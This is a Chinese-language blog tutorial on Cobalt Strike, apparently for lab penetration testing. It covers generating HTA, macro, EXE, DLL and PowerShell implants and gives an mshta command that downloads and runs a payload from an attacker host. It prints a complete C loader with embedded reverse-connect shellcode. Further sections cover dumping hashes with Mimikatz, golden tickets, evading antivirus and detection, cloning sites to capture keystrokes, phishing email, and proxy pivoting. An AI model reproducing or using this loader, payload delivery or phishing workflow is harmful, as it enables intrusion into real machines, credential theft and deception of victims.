cobaltstrike使用教程
- 内网渗透
- 2024-10-28
- 465热度
- 0评论
上线
先模拟一次上线
首先要在客户端上配置监听器 找到监听器,点击添加
主要配置4个地方
名字自定义
Payload配置正反向连接
HTTP地址写服务端地址
端口写服务端未被占用的端口
生成木马文件 主要有5中
-
HTML Application 生成恶意的HTA木马文件
-
MS Office Macro 生成office宏病毒文件
-
Payload Generator 生成各种语言版本的payload;
-
Windows Executable 生成可执行exe木马;
-
Windows Executable⑸ 生成无状态的可执行exe木马。
HTML Application
生成恶意的HTA木马文件
-
—个HTML Application (HTML应用)是一个使用HTML和一个Internet浏览器支持的脚本语言编写的Windows程序。该程序包生成一个HTML应用,该应用运行一个CobaltSt rikepayload。你可以选择可执行的选项来获取一个HTML应用,此HTML应用使得一个可执行文件落地在磁盘上并运行它。
选择PowerShell选项来得到一个HTML应用
-
该应用使用PowerShell来运行一个payload。使用VBA选项来静默派生一个MicrosoftExcel实例并运行一个恶意的宏来将payload注入到内存中。
运行一个 选择我们刚刚配置的监听器
主要有三种工作方式
-
executable(生成可执行攻击脚本)
-
powershell(生成一个powershell的脚本)
-
VBA(生成一个vba的脚本,使用mshta命令执行)
这里我们使用第二个powershell,其他俩测试的时候没办法上线
生成的时候可能会安全软件报毒,因为没有做免杀
将生成文件放到靶机上,双击文件 就可以上线
也可以配合host file (文件托管)上线 在另一台靶机上测试 运行
文件就放我们生成木马文件的位置.hta文件
URL用来伪装,端口不要被占用 其他默认即可
生成url
http://192.168.23.128:8008/download/file.ext
到靶机上运行命令
mshta http://192.168.23.128:8008/download/file.ext
可以上线
查看拓补图,即可看到上线的方向和靶机间的关系
下线就要右击,先退出再删除会话
MS Office Macro
该程序包生成一个MicrosoftOffice的宏文件并提供将宏嵌入Microsoft Word或Microsoft Excel的说明。
payload Generator
该程序包允许你以不同的多种格式导出Cobalt Strike的stager。
运行 Attacks -> packages --> payload generator
该模块可以生成n种语言的后门Payload,包括C,C#,Python,Java,Perl,Powershell脚本,Powershell命 令,Ruby,Raw,免杀框架Veli中的shellcode等等
会生成一个对应语言的文件文件,再配合相应的加载器生成exe文件进行上线 为什么这么操作,这要方便做免杀,如果是exe文件就要先逆向在从新写,这个就是直接更改加载器就ok
先来用C语言测试不免杀的简单上线过程
选择之前配置好的监听器,注意这里是x64,后面编译的时候要使用x64编译
之后打开.c文件是一个未编译代码,放到上文的编译代码中,注意这里是x64编译,使用.c文件下面就是运行的c文件基本格式,每次使用替换其中的shellcode即可
#include <Windows.h> #include <stdio.h> #include <string.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" "\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b" "\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" "\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01" "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18" "\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34" "\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01" "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01" "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58" "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00" "\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8" "\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80" "\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xb2\x8d\x68\x02\x00" "\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74" "\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f" "\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10" "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53" "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8" "\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b" "\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e" "\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff" "\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a" "\x00\x53\xff\xd5"; int main() { //方式一:指针执行 /* ((void(*)(void)) & buf)();*/ //方式二:强制类型转换 //((void(WINAPI*)(void))&buf)(); //方式三:申请动态内存加载 /*char* Memory; Memory = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)();*/ //方式四:嵌入汇编加载 //__asm { //lea eax,buf //call eax //} //方式五:汇编花指令 //__asm{ //mov eax, offset shellcode //_emit 0xFF //_emit 0xE0 //} }
注意上面说到小细节,我并没有使用x64所以是x86的,选择Release,否则影响上线结果
上传并运行生成的exe文件,发现成功上线
渗透Windows主机过程中,用的比较多的就是Powershell和Powershell Command,主要是因为其方便 易用,且可以逃避一下杀毒软件(AV)的查杀。
以Powe rshell Command为例,生成的payload为一串命令,只要在主机上执行这一串命令(主机需安 装Powe rshell)
上线成功
Windows Executable (Windows 可执行文件)
该程序包生成一个Windows可执行Ar tifact,用于传送一个payload stager。这个程序包为你提供了多种输出选项。
Windows Serv ice EXE 是一个 Windows 可执行文件,可响应Service Control Manage r命令。你可以使用这个可执行文件来作为使用sc命令起的Windows服务的调用程序,或使用Metasploit框架的PsExec模块生成一个自定义的可执行文件。
也就是说,普通的EXE和服务器启动调用的EXE是有区别是。利用Windows ServiceEXE生成的EXE才能用来作为服务自启动的EXE,利用Cobalt Strike中Windows exe生成的EXE不能作为服 务自启动的EXE程序(因为不能响应Service Control Manager)
直接生成exe文件,运行就可以上线。
Windows DLL (32-bit)是一个 x86 的 Windows DLL。
Windows DLL (64-bit)是一个x64的Windows DLL。这个DLL会派生一个32位的进程,并且将你的监听器迁移至其上。这两个DLL选项都会导出一个开始功能,此功能与rundll32 .exe相兼容。使用rundll32 .exe来从命令行加载你的DLL。勾选Use x64 payload框来生成匹配x64 stager的x64Artifact。
通过rundll32.exe可以直接调用DLL的导出函数来执行功能。 命令行:
rundll32.exe DllName,FuncName [Arguments]
函数名字随便什么都可以
没有找到函数会报错,成功上线,但是会话连接很慢
一旦按确定,就会进程死了
执行流程
其内部通过LoadLibraryEx
来加载该DLL,然后通过GetProcAddress
来获取导出函数地址并调用,当该导出函数返回时,rundll32会通过FreeLibrary
卸载该DLL并通过ExitProcess
退出进程。
看着是不是很简单,确实很简单,但涉及到了两个失败。
-
LoadLibraryEx失败: GetLastError获得失败原因,然后MessageBox错误弹窗,最后ExitProcess退出进程。
因为没有111artifact.dll这个模块,所以报错
-
GetProcAddress失败: MessageBox错误弹窗,然后FreeLibrary卸载DLL,最后ExitProcess退出进程。 就是向上面那样没有找到对应函数,所以报错
注意:这里的MessageBox是有阻塞线程的作用的,关闭弹窗才能继续往下执行。
调试实例
以rundll32.exe "C:\\testDll.dll",DllMain
为例,看一下rundll32.exe的执行流程:
-
通过
LoadLibraryEx
加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH
。
-
通过
GetProcAddress
获得指定的导出函数地址。
获得DllMainW
失败 -
获得导出函数地址失败后,准备错误弹窗。 首先通过
LoadStringW
获得资源ID为400的字符串("%s 出错\n丢失条目: %s");
然后格式化弹窗字符串:
然后通过LoadStringW
获得资源ID为0x402的字符串(“RunDLL”);
最后通过MessageBoxW弹窗。
弹窗后,如果不关闭对话框,线程会一直阻塞。 -
点击确定后rundll32会通过
FreeLibrary
卸载该DLL。 -
最后rundll32通过
ExitProcess
结束自身进程。
Windows Executable(s)
Windows Executable & Windows Executable(S)这两个模块直接用于生成可执行的exe文件或dll文件。Windows Executable是生成Stager类型的马,而Windows Executable(S)是生成Stageless类型的马。那Stager和Stageless有啥区别呢?
Stager是分阶段传送Payload。分阶段啥意思呢?就是我们生成的Stager马其实是一个小程序,用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。如果不需要分阶段的话,可以在C2的扩展文件里面把 host_stage选项设置为false。
而Stageless是完整的木马,后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源,因为如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。后渗透和横向移动绝大部分是使用的Stageless类型的木马。
再测试一下powershell,其他的运行操作和上面差不多
有时可能运行不了需要要更改下他的策略
只有管理员才有权限更改这个策略。非管理员会报错。查看脚本执行策略,可以通过:
PS E:> Get-ExecutionPolicy
更改脚本执行策略,可以通过
PS E:> Get-ExecutionPolicyRestrictedPS E:> Set-ExecutionPolicy UnRestricted
利用
Interact
右击进入会话,可以直接命令执行
但是要在命令前加上shell
shell dir
Access
主要是以下功能
Dump Hashes # 获取hash Elevate #提权 Golden Ticket #生成黄金票据注入当前会话 Make token #凭证转换 Run Mimikatz # 运行Mimikatz,抓取明文密码 Spawn As #用其他用户生成Cobalt Strike侦听器
Explore
Browser Pivot #劫持目标浏览器进程 Desktop(VNC) #桌面交互 File Browser #文件浏览器 Net View #命令Net View Port Scan #端口扫描 Process List #进程列表 Screenshot # 截图
Pivoting
SOCKS Server# 代理服务 Listener #反向端口转发 Deploy VPN #部署VPN
Spawn
外部监听器(如指派给MSF,获取meterpreter权限)
Session
Note #备注 color #标注颜色 Remove #删除 Sleep #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率 不宜过快,容易被发现。(心跳时间) Exit #退出
cs插件
会发现我的利用会比正常的cs有更多的利用是因为我使用了插件
找到脚本管理加载器
然后加载每个插件的cna文件即可
加上其他插件就会集成更多的功能和提权脚本
view
视图就是对上面搜集的信息放的位置
比如hash密码的抓取,屏幕的截图,都可以在这里找到
社会工程
接下来简单看下 CS 里面的社会工程学功能
克隆网站&键盘记录
原网站
生成的钓鱼网站
除了ip不一样,其他都是一样的
输入完密码会跳转到原网站
然后再到web日志下,可以看到键盘操作
社工邮件&链接传送
配置描述
targets 发送的目标信息,可导入本地的txt 格式:xxxx@xxx.com tmplate 邮件模板,一般在邮件的更多选项中 ,选择导出,或者显示原文 attachment 附件 Embed URL 要嵌入的网址(可以是社工链接) Mail server SMTP Bounce to 模仿发件人 preview 预览我们的模板文件
Socks4 代理实现内网穿透
当我们控制的主机是一台位于公网和内网边界的服务器 ,我们想利用该主机继续对内网进行渗透,于是,我们可以利用 CS 来建立 Socks4 代理。
1.首先我们先在 上线内网靶机搭建 DVWA 服务 2.然后返回上线的内网靶机,右击代理转发
然后使用未占用的端口
在视图中找到代理转发,就可以看到
然后到google浏览器上配置服务端服务器ip代理,就能让外网服务器访问
实现代理转发